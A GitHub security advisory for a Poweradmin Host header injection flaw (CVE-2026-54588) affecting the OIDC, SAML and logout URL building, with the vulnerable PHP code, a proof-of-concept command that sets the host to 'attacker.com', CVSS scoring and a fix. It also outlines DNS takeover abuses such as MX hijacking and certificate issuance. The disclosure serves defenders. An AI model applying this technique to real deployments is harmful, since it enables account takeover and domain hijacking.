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Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.

Critical severity GitHub Reviewed Published Jun 7, 2026 in poweradmin/poweradmin

Package

composer poweradmin/poweradmin (Composer)

Affected versions

< 4.2.4
>= 4.3.0, < 4.3.3

Patched versions

4.2.4
4.3.3

Description

Summary

Poweradmin v4.3.2 uses the attacker-controlled HTTP_HOST request header as the
authoritative source for building callback URLs in its OIDC, SAML, and logout
authentication flows without any validation. An unauthenticated attacker can poison
the redirect_uri sent to the Identity Provider, causing the IdP to redirect the
victim's authorization code to an attacker-controlled server - resulting in full
account takeover with no credentials required.

Three independent code paths are affected:

  • Primary (Critical): OidcService::getCallbackUrl() - redirect_uri poisoning
  • Secondary (High): SamlConfigurationService::getBaseUrl() - SAML ACS/SLO URL poisoning
  • Tertiary (Medium): LogoutController::getBaseUrl() - post-logout redirect poisoning

Details

Root Cause

The application constructs absolute URLs dynamically from HTTP_HOST rather than
from a trusted configured base URL. The header is fully client-controlled and is not
validated before use in any authentication flow.

Poweradmin's own codebase contains the correct pattern -
DocsController::getValidatedHost() (line 244) calls isValidHostname() before
using the value - but this was never applied to authentication flows.

Primary: lib/Application/Service/OidcService.php (~line 460)

private function getCallbackUrl(): string
{
    $scheme = $this->detectScheme();
    // HTTP_HOST taken directly with zero validation
    $host = $this->request->getServerParam('HTTP_HOST', 'localhost');
    $basePrefix = $this->configManager->get('interface', 'base_url_prefix', '');
    return $scheme . '://' . $host . $basePrefix . '/oidc/callback';
}

HTTP_HOST is embedded verbatim as redirect_uri in the OAuth 2.0 authorization
request sent to the IdP. HTTP_X_FORWARDED_PROTO is similarly used unvalidated
for scheme detection.

Secondary: lib/Application/Service/SamlConfigurationService.php (~line 134)

private function getBaseUrl(): string
{
    $configuredBaseUrl = $this->configManager->get('interface', 'base_url', '');
    if (!empty($configuredBaseUrl)) {
        return rtrim($configuredBaseUrl, '/');  // safe path - rarely configured
    }
    // Falls through on every default installation
    $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
    ...
    return $scheme . '://' . $host . $prefix;
}

Used to construct SAML ACS URL, SLO URL, and entity ID - all poisonable via Host header.
The safe fallback only activates when interface.base_url is explicitly set, which is
optional and empty by default.

Tertiary: lib/Application/Controller/LogoutController.php (~line 272)

Same $_SERVER['HTTP_HOST'] pattern used for post-logout redirect URL construction.

### PoC
Environment: Poweradmin v4.3.2, Docker, PHP 8.2, OIDC enabled, interface.base_url empty (default).

docker exec poweradmin-container php -r "
require '/app/vendor/autoload.php';
putenv('PA_CONFIG_PATH=/app/config/settings.php');

use PowerAdmin\Application\Service\OidcService;
use PowerAdmin\Infrastructure\Configuration\ConfigurationManager;
use PowerAdmin\Infrastructure\Web\Request;

\$_SERVER['HTTP_HOST'] = 'attacker.com';
\$_SERVER['HTTPS']     = '';

\$config      = ConfigurationManager::getInstance();
\$request     = new Request();
\$oidcService = new OidcService(\$config, \$request);
\$authUrl     = \$oidcService->initiateAuthFlow('test');

parse_str(parse_url(\$authUrl, PHP_URL_QUERY), \$p);
echo 'redirect_uri: ' . urldecode(\$p['redirect_uri']) . PHP_EOL;

if (str_contains(\$p['redirect_uri'], 'attacker.com')) {
    echo '[CONFIRMED] Host header injection successful' . PHP_EOL;
}
"

Output:

redirect_uri: http://attacker.com/oidc/callback

[CONFIRMED] Host header injection successful - redirect_uri contains attacker.com

The redirect_uri in the authorization request sent to the Identity Provider is
http://attacker.com/oidc/callback. The victim's authorization code will be
delivered to this URL upon successful authentication.

Note on PKCE: PKCE does not mitigate this attack. The attacker initiates the
flow themselves and controls both code_challenge and code_verifier.

### Impact
Direct Impact

An attacker who can send a request with a spoofed Host header - directly or via a
misconfigured reverse proxy (proxy_set_header Host $http_host is the nginx default) -
can steal any user's authorization code and gain full authenticated access to Poweradmin.
No credentials, malware, or prior access required.

DNS Infrastructure Impact

Poweradmin manages PowerDNS. A compromised administrator account grants full DNS zone
control, enabling:

- MX hijacking - redirect all inbound email to attacker's mail server; intercept
password reset emails and 2FA codes for any third-party service registered with the domain
- SPF/DKIM manipulation - add attacker's IP to SPF, publish attacker's DKIM key →
send cryptographically authenticated email as the organization (passes DMARC)
- Subdomain takeover - point mail., vpn., app. to attacker infrastructure
- SSL certificate theft - remove CAA records and complete ACME DNS-01 challenge
to obtain wildcard certificate *.company.com from any CA
- Full domain delegation - delegate subdomains to attacker nameserver

CVSS v3.1

┌──────────────────────────────────┬─────────────────────────────────────┬──────────────┐
│             Scenario             │               Vector                │    Score     │
├──────────────────────────────────┼─────────────────────────────────────┼──────────────┤
│ Standard deployment              │ AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L │ 8.2 High     │
├──────────────────────────────────┼─────────────────────────────────────┼──────────────┤
│ Proxy misconfigured ($http_host) │ AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L │ 9.3 Critical │
└──────────────────────────────────┴─────────────────────────────────────┴──────────────┘

Recommended Fix

Immediate mitigation: Set interface.base_url in config/settings.php -
activates the safe branch in SamlConfigurationService immediately.

Code fix for OidcService: Prefer the configured base URL; if absent, validate
HTTP_HOST via filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)
before use - the same pattern already implemented in DocsController::getValidatedHost().
### References
- https://github.com/poweradmin/poweradmin/security/advisories/GHSA-3735-5339-xfwx
- https://nvd.nist.gov/vuln/detail/CVE-2026-54588
- https://github.com/poweradmin/poweradmin/releases/tag/v4.2.4
- https://github.com/poweradmin/poweradmin/releases/tag/v4.3.3
@edmondas edmondas published to poweradmin/poweradmin Jun 7, 2026
Published by the National Vulnerability Database Jun 23, 2026
Published to the GitHub Advisory Database Jul 28, 2026
Reviewed Jul 28, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(44th percentile)

Weaknesses

URL Redirection to Untrusted Site ('Open Redirect')

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. Learn more on MITRE.

CVE ID

CVE-2026-54588

GHSA ID

GHSA-3735-5339-xfwx

Source code

Credits

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